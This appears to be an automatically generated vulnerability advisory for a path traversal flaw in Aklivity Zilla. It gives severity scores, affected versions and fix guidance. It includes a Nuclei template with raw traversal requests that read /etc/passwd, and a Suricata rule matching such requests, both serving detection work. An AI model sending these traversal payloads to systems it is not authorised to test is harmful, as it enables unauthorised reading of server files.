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CVE-2026-120324: Aklivity Zilla http-filesystem Binding FileSystemServerFactory Path.resolve path traversal

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A weakness has been identified in Aklivity Zilla up to 1.3.4/2.4.7/2.5.0-rc2. The affected element is the function Path.resolve of the file FileSystemServerFactory of the component http-filesystem Binding. This manipulation of the argument params causes path traversal. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.5.0-rc3 is sufficient to fix this issue. Patch name: 46a8b15cbea157f7ae8b7cb865809a02fd6b1988. You should upgrade the affected component.

Description quoted from the CVE record (assigned by VulDB, published 2026-11-02).

Weakness: Path Traversal

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity low, availability low. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 7 references on Exploit Observer

Live scores

EPSS
0.005
low predicted chance of attack
VEDAS
0.987
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Aklivity Zillaversion 1.3.0
version 1.3.1
version 1.3.2
version 1.3.3
version 1.3.4
version 2.4.0
version 2.4.1
version 2.4.2
and 7 more ranges		2.5.0-rc3 is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Vendor guidance:

How to detect it

Nuclei template (active check)

Aklivity Zilla http-filesystem Binding - Path Traversal

Aklivity Zilla up to 1.3.4/2.4.7/2.5.0-rc2 is affected by a path traversal in FileSystemServerFactory (Path.resolve of the request params) in the http-filesystem binding. A remote unauthenticated attacker can supply dot-dot sequences in the request path to escape the mapped directory and read arbitrary files from the server filesystem. This template sends raw (non-normalized) traversal requests and confirms the response contains the contents of /etc/passwd. Fixed in 2.5.0-rc3.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /files/../../../../../../../../etc/passwd, GET /../../../../../../../../etc/passwd, GET /read/../../../../../../../../etc/passwd); it decides using regex, status matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-120324.yaml
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yaml
id: CVE-2026-120324

info:
  name: "Aklivity Zilla http-filesystem Binding - Path Traversal"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Aklivity Zilla up to 1.3.4/2.4.7/2.5.0-rc2 is affected by a path traversal in
    FileSystemServerFactory (Path.resolve of the request params) in the http-filesystem binding.
    A remote unauthenticated attacker can supply dot-dot sequences in the request path to escape
    the mapped directory and read arbitrary files from the server filesystem. This template sends
    raw (non-normalized) traversal requests and confirms the response contains the contents of
    /etc/passwd. Fixed in 2.5.0-rc3.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-120324&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zilla&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
    cvss-score: 5.5
    cve-id: CVE-2026-120324
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 3
  tags: cve,cve2026,zilla,aklivity,lfi,traversal
http:
  - raw:
      - |+
        GET /files/../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET /../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET /read/../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200

CVE-2026-120324.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-120324 Aklivity Zilla http-filesystem Binding - Path Traversal. Add them to your Suricata rule set and reload.

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suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-120324 Aklivity Zilla http-filesystem Binding - Path Traversal"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"../"; fast_pattern; content:"etc/passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-120324; reference:url,https://www.exploit.observer/?keyword=CVE-2026-120324&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=zilla&match=exact; sid:1104601; rev:1;)

CVE-2026-120324.rules on GitHub

References

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Exploit code

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Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

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